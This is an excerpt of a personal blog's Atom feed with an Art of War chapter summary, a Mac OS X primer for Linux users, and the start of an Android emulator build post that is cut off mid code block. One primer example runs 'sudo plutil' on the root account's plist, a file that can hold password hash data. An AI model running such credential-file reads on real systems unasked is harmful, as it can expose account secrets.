]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/dilbert" term="dilbert" label="dilbert"/><category scheme="https://ashishb.net/tag/scott-adams" term="scott-adams" label="scott-adams"/></entry><entry><title type="html">Book Summary: Art of War by Sun Tzu</title><link href="https://ashishb.net/book-summary/art-of-war/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/bogleheads-guide-to-investing/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Bogleheads guide to investing"/><link href="https://ashishb.net/book-summary/influence-the-psychology-of-persuasion/?utm_source=atom_feed" rel="related" type="text/html" title="Influence: The Psychology of Persuasion by Robert B. Cialdini"/><link href="https://ashishb.net/book-summary/think-like-a-freak/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Think like a freak by Steven Levitt and Stephen Dubner"/><link href="https://ashishb.net/book-summary/the-last-lecture/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Last Lecture by Randy Pausch"/><link href="https://ashishb.net/book-summary/only-the-paranoid-survives/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Only The Paranoid Survives by Andrew Grove"/><id>https://ashishb.net/book-summary/art-of-war/</id><author><name>Ashish Bhatia</name></author><published>2014-03-22T09:38:18+00:00</published><updated>2014-03-22T09:38:18+00:00</updated><content type="html"><![CDATA[<blockquote>Discover insights from &ldquo;The Art of War,&rdquo; a timeless guide on strategy and deception, influencing modern global power dynamics. Explore its 13 impactful chapters.</blockquote><p>  
    
    
<a href="https://amzn.to/1nA1ejH?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Art of War</a> is considered one of the classic books on military strategy.
Due to the recent resurgence of China as an economic superpower, the book has garnered interest from non-Chinese who are curious to know more about its strategy.</p>
<p>The book is divided into 13 chapters.</p>
<ol>
<li><strong>Estimates</strong> Before going for a war, its impact must be estimated in terms of five factors - moral (people&rsquo;s faith in the court), weather, terrain (army can travel 30 li ~ 10 miles a day under normal conditions) , command (capabilities of the general) and doctrine (organization and operations). A general must be able to administer reward and punishment without being excessive on either. <strong>All warfare is based on deception</strong>. When capable feign incapacity, when active, feign inactivity. Encourage the enemy&rsquo;s arrogance by pretending inferiority. Appeal to the enemy&rsquo;s primitive instincts by offering physical goods and sexual pleasure. When the enemy is at ease, tire him. When he is united, divide him.</li>
<li><strong>Waging War</strong>
War drains sovereign&rsquo;s wealth, therefore, it must be done at a supernatural speed with the victory as the sole objective. Try to capture and use enemy&rsquo;s resources as soon as possible, that is, by winning the battle and becoming stronger.</li>
<li><strong>Offensive Strategy</strong> Do not focus on killing, try to take the state intact. The focus should be on winning and if possible, without even engaging in the battle. <strong>The supreme excellence in war is to attack the enemy&rsquo;s plans (rather than the enemy).</strong> If that&rsquo;s not possible, disrupt his alliances. If that&rsquo;s not possible, attack his army. Worst is to attack cities. Depending on the relative strength of your army be ready to withdraw if yours is weak, and be ready to surround if yours is really strong. Never   
    
    
<a href="https://uselesstree.typepad.com/useless_tree/2007/01/hobbling_the_ar.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hobble</a> the army, moves should be planned beforehand. Non-military officers should have no say in the army&rsquo;s administration. A confused army leads to another&rsquo;s victory. Know your enemy and know yourself, you will never be in peril. If ignorant of the enemy but know yourself then the chance of winning is half. If ignorant of both yourself and the enemy then you will be peril in every battle.</li>
<li><strong>Dispositions</strong> Those skilled can make themselves invincible but cannot cause an enemy to be certainly vulnerable. Those skilled in war defeat the enemy easily because they create appropriate conditions for ensuring victory. The armies destined to be defeated fight in the hope of winning while a victorious army wins its victories before seeking battle.</li>
<li><strong>Energy</strong>
The normal force is used to engage the enemy while extraordinary is needed to win. An army needs limitless combinations of both to win. A hawk breaks the body of its prey by proper timing - an overwhelming momentum with precisely regulated attack leads to victory. <strong>Apparent confusion is the result of the good order, apparent cowardice of courage and the apparent weakness of strength.</strong> A skilled commander seeks victory from the situation and does not demand it from his subordinates. He creates situations which can be exploited by his men.</li>
<li><strong>Weakness and Strengths</strong> The one who occupies the field first has an advantage. Therefore, always bring the enemy to war rather than being brought by him. Attack where the protection is low. Against those skilled in attack, the enemy does not know where to defend. Against those skilled in defense, the enemy does not know where to attack. Experts attack like the wind and disappear like lightning. The enemy should not know where the attack will be from, therefore, forcing him to prepare in all directions and hence, dilute its strength. Thus, a skilled general is able to gain victory by modifying his tactics in accordance with the enemy situation.</li>
<li><strong>Manoeuvre</strong> The whole army cannot move together, some units will be slower than rest, it&rsquo;s important to take care of the slow baggage and protect them. Local guides are important for the knowledge of the terrain. Troops cannot see or listen to each other easily, flags and drums are the only options for the guidance. Obedience takes precedence over talent. A talented soldier was once beheaded since he was disobedient. The general&rsquo;s heart decides the fate of the army, if he loses heart in the battle, the army will be deprived of morale. Therefore, those skilled in war attack the enemy when his spirit is sluggish and soldiers are homesick. Do not gobble baits thrown by the enemy, nor attack enemy returning homewards. Always leave a way for the enemy to escape or else they will fight for survival.</li>
<li><strong>The Nine Variables</strong> Never camp in the low-lying ground. Be resourceful in the enclosed ground. Be ready to fight on death ground. Sometimes the general need not obey orders from the sovereign. <strong>A good general never assumes that he won&rsquo;t be attacked but rather makes oneself invincible.</strong> A reckless general is killed. A coward one is captured. A quick-tempered one is fooled. One with a delicate sense of honor culminates. Compassionate one can be harassed. These traits lead to the ruin of the army.</li>
<li><strong>Marches</strong>
In the mountains, stay close to valleys. Try to encamp on high grounds facing the sunny side. Fight downhill never ascends to attack. Do not meet the enemy at water&rsquo;s edge, let half of his force cross and then strike. Ensure that rear is safe, by having mountains in the rear and to the right. Forested mountains and aquatic grasses are dangerous since ambushes are hidden under them. When trees appear to move, the enemy is advancing. Birds rising in flight is a sign of enemy lying in ambush. Dirt spurting upwards in high straight columns indicates the approach of chariots. If dirt hangs low, it&rsquo;s infantry. When dust rises in scattered areas, it&rsquo;s the enemy bringing in firewood. When the enemy&rsquo;s envoy speaks in humble terms but enemy continues the preparation, he will advance. When their language is deceptive but he pretentiously advances, he will retreat. When the enemy speaks in apologetic terms, he wishes respite. When without previous understanding, the enemy asks for a truce, he is plotting. When his troops lean on their weapon, they are famished (hungry). When drawers drink water before carrying it to camp, his troops are suffering from thirst. When the enemy sees an advantage but does not advance to seize it, he is fatigued. When birds gather above the campsite, they are empty. If his troops are clamorous (making noises) at night, he is fearful. If his troops are disorderly, the general has no prestige. When troops gather and talk in groups, the general has lost the confidence of the army. Troops must be given consistent, trustworthy and observed orders or else they will become disobedient.</li>
<li><strong>Terrain</strong> The accessible ground can be accessed by both sides equally easily. Taking high sunny positions is important on such grounds. The entrapping ground is easy to get out but difficult to get into. In such a ground, sallying (going offensively) out on unprepared enemy may lead to victory otherwise, any move might be unprofitable. The indecisive ground does not offer any advantage to either side, in such a case, pretend to depart and pull the half of enemy&rsquo;s force out and then strike him. In constricted ground try to block the passes. In the precipitous (steep) ground, take sunny heights and wait for the enemy.
Strong troops and weak officers =&gt; insubordinate army.
Ineffective troops and courageous officers =&gt; distressed army.
Inconsistent or weak general =&gt; disordered army.
Know the enemy, know yourself =&gt; your victory will not be endangered.
Know the ground, know the weather =&gt; your victory will be total.</li>
<li><strong>The Nine varieties of Ground</strong> A dispersive ground is one&rsquo;s own territory. Men think of retiring to their homes, so, do not fight here.
A frontier ground is a shallow penetration into the enemy&rsquo;s territory. Do not stop in such land for long.
The key ground is equally advantageous for both you and the enemy. Communicating ground is equally accessible to both.
A focal territory is one which is surrounded by three different states, it&rsquo;s strategically important to occupy that. Ally with neighbor states here.
A serious ground is one which is deep into the enemy&rsquo;s territory. It&rsquo;s difficult to return from such a ground.
A difficult ground is one which has difficult terrain for the army to march through due to mountains, forests, steep heights, etc.
The encircled ground is one which has constricted access and way out of it is tortuous. Enemy ambushes might be present in such ground. Devise stratagems for dealing with these. Block any gap left by the enemy for escape, thereby, forcing your forces to fight.
A death ground is one which the only army which fights with the courage of desperation survives. A fight is the only option here.
When officers and men care only for worldly riches they will cherish life at all costs.</li>
<li><strong>Attack by Fire</strong>
There are five ways to use fire - burn personnel, burn stores, burn equipment, burn arsenals and use incendiary missiles.
If a fire has caused chaos in the enemy&rsquo;s camp then that situation must be exploited.
An angry state or resentful general should not go into a fight =&gt; enlightened ruler is prudent and good general is warned against rash action.</li>
<li><strong>Employment of Secret Agents</strong> The only way to acquire foreknowledge is through secret agents. There are five sorts of secret agents - native, inside, doubled, expendable and living. None should know about each other.
Native agents are enemy&rsquo;s country people.
Inside agents are enemy officials.
Doubled agents are enemy spies.
Expendable agents are the ones given fabricated information.
Living agents are those who return with information.
Secret agents are close to the general, most conversations are mouth to ear matter.
Bribe enemy&rsquo;s agents and make them double agents, use them to recruit native and inside agents.
Double agents can provide right ideas on what information can be given to expendable agents which despite being false will appear trustworthy.
<strong>An army without secret agents is like a man without eyes and ears.</strong></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/strategy" term="strategy" label="strategy"/><category scheme="https://ashishb.net/tag/war" term="war" label="war"/></entry><entry><title type="html">Mac OS X Primer (Part 2): GNU/Linux -> Mac for software engineers</title><link href="https://ashishb.net/programming/mac-os-x-primer-part-2-migrating-from-gnulinux-to-mac-for-software-engineers/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/mac-os-app-translocation-and-android-studio-updates-failure/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS: App Translocation and Android Studio updates failure"/><link href="https://ashishb.net/programming/diagnosing-mac-apps-which-wont-open-error-10810/?utm_source=atom_feed" rel="related" type="text/html" title="Diagnosing Mac apps which won't open (error -10810)"/><link href="https://ashishb.net/programming/mac-os-x-primer-part-3-window-management/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS X Primer (Part 3) - Window Management"/><link href="https://ashishb.net/programming/mac-101-migrating-from-gnulinux-to-mac-for-software-engineers/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS X Primer: GNU/Linux -> Mac for software engineers"/><link href="https://ashishb.net/programming/how-to-start-locale-settings-activity-on-android-from-command-line/?utm_source=atom_feed" rel="related" type="text/html" title="How to start locale settings activity on android from command-line"/><id>https://ashishb.net/programming/mac-os-x-primer-part-2-migrating-from-gnulinux-to-mac-for-software-engineers/</id><author><name>Ashish Bhatia</name></author><published>2014-02-28T09:40:23+00:00</published><updated>2014-02-28T09:40:23+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the OS X booting process, directory structure, and essential command-line tips to enhance your system&rsquo;s efficiency. Perfect your Mac expertise now!</blockquote><h2 id="booting-process">Booting process</h2>
<ol>
<li>The bootloader loads the kernel stored in <code>/mach_kernel</code>. Tip: Use   
    
    
<a href="https://refit.sourceforge.net/doc/c1s1_install.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">rEFIt</a> as a bootloader for dual booting into GNU/Linux.</li>
<li>Kernel launches the launchd process which is equivalent of init in GNU/Linux.</li>
<li>launchd   
    
    
<a href="https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">loads</a> startup processes from several directories (/System/Library/LaunchAgents, /System/Library/LaunchDeamons, /Library/LaunchAgents, /Library/LaunchAgents and corresponding files in ~/Library directory)</li>
</ol>
<h2 id="directory-structure">Directory structure</h2>
<ol>
<li>/Applications - Holds actual applications. Applications are directories with &ldquo;.app&rdquo; extension and contain Mach-O executable and other helper files.</li>
<li>/Library -  Similar to /etc on GNU/Linux. It contains system wide config primarily for applications under /Applications. User-specific settings end up in /Users/$USER/Applications dir.</li>
<li>/Network - contains network mounts.</li>
<li>/System - seems to contain system specific data which is not modified regularly</li>
<li>/Users - Equivalent of /home on GNU/Linux</li>
<li>/bin  - Same as GNU/Linux</li>
<li>/sbin - Same as GNU/Linux</li>
<li>/private - /private/tmp is same as /tmp on GNU/Linux. /private/var is same as /var on GNU/Linux. /private/etc seems to contain settings just like /etc on GNU/Linux.</li>
</ol>
<h2 id="miscellaneous">Miscellaneous</h2>
<ol>
<li>
<p>The correct   
    
    
<a href="https://danielmiessler.com/blog/what-does-os-x-say-when-you-ask-it-to-pronounce-itself-video/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pronunciation</a> is &ldquo;Oh-es-ten&rdquo; and not &ldquo;Oh-es-X&rdquo;.</p>
</li>
<li>
<p>Press &ldquo;D&rdquo; while booting up to enable diagnostic checks on the system.</p>
</li>
<li>
<p>Enable   
    
    
<a href="https://www.iterm2.com/#/section/features/mouseless?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mouseless</a> copy in iTerm2</p>
</li>
<li>
<p>  
    
    
<a href="https://www.cheatsheetapp.com/CheatSheet/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cheatsheet</a> - A helper app that enables you to do a Long press of command button in any app to reveal all app shortcuts. It only works with Cocoa-based apps, and most apps are Cocoa-based.</p>
</li>
<li>
<p>  
    
    
<a href="https://fluidapp.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Fluid</a> - An app that converts a web page into a Mac app.</p>
</li>
<li>
<p>Mounting a disk image
Note: The process is a bit more   
    
    
<a href="https://blog.joshdick.net/2012/10/14/programmatically_mounting_encrypted_disk_images_in_os_x.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">involved</a> with encrypted images.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ hdiutil mount image.iso
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>To read binary plist files use plutil</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ sudo plutil -p /private/var/db/dslocal/nodes/Default/users/root.plist
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>To set/get the hostname from command-line</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ scutil --get HostName
</span></span><span style="display:flex;"><span>$ scutil --set HostName NewHostName
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
</ol>
<h2 id="further-readings">Further readings</h2>
<ol>
<li>  
    
    
<a href="https://www.matisse.net/OSX/darwin_commands.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://www.matisse.net/OSX/darwin_commands.html</a></li>
<li>  
    
    
<a href="https://www.mitchchn.me/2014/os-x-terminal/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://www.mitchchn.me/2014/os-x-terminal/</a></li>
<li>  
    
    
<a href="https://furbo.org/2014/09/03/the-terminal/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">furbo.org/2014/09/03/the-terminal/</a></li>
<li>  
    
    
<a href="https://www.wezm.net/technical/2019/10/useful-command-line-tools/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://www.wezm.net/technical/2019/10/useful-command-line-tools/</a></li>
<li>  
    
    
<a href="https://www.dyx.name/posts/macunix.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://www.dyx.name/posts/macunix.html</a></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/macos" term="macos" label="macos"/></entry><entry><title type="html">How to compile android emulator on ubuntu 13.10</title><link href="https://ashishb.net/programming/how-to-compile-android-emulator-on-ubuntu-13-10/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/how-to-start-locale-settings-activity-on-android-from-command-line/?utm_source=atom_feed" rel="related" type="text/html" title="How to start locale settings activity on android from command-line"/><link href="https://ashishb.net/programming/android-gradle-and-compile-time-dependencies/?utm_source=atom_feed" rel="related" type="text/html" title="Android, Gradle and compile-time only dependencies"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><id>https://ashishb.net/programming/how-to-compile-android-emulator-on-ubuntu-13-10/</id><author><name>Ashish Bhatia</name></author><published>2014-02-23T09:29:22+00:00</published><updated>2014-02-23T09:29:22+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how to compile the Android emulator with clear instructions. Clone the source code, install dependencies, and configure for custom builds effortlessly.</blockquote><p>I was trying to make some modifications to android emulator and was unable to find good set of instructions for the compiling the same.</p>
<p>Here are mine.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
